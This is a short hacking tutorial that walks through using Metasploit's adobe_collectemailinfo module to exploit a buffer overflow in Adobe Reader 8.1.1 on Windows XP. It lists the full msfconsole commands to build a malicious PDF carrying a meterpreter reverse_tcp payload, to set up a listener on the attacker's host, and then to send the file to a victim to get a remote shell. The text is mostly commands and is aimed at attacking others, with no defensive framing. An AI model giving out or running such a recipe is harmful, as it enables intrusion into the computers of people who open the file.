Hacking Windows XP Buffer OverFlow

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 8.1.1. By creating a specially crafted pdf that a contains malformed Collab.collectEmailInfo () call, an attacker may be able to execute arbitrary code

Exploit Targets

Adobe Reader v8.1.1

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

 

Now type use exploit/windows/fileformat/adobe_collectemailinfo

Msf exploit (adobe_collectemailinfo)>set payload windows/meterpreter/reverse_tcp

Msf exploit (adobe_collectemailinfo)>set lhost 192.168.1.4 (IP of Local Host)

Msf exploit (adobe_collectemailinfo)>set filename salmanbio.pdf

Msf exploit (adobe_collectemailinfo)>exploit

After we successfully generate the malicious PDF, it will stored on your local computer

/root/.msf4/local/salmanbio.pdf

 

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.4

exploit

Now send your salmanbio.pdf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
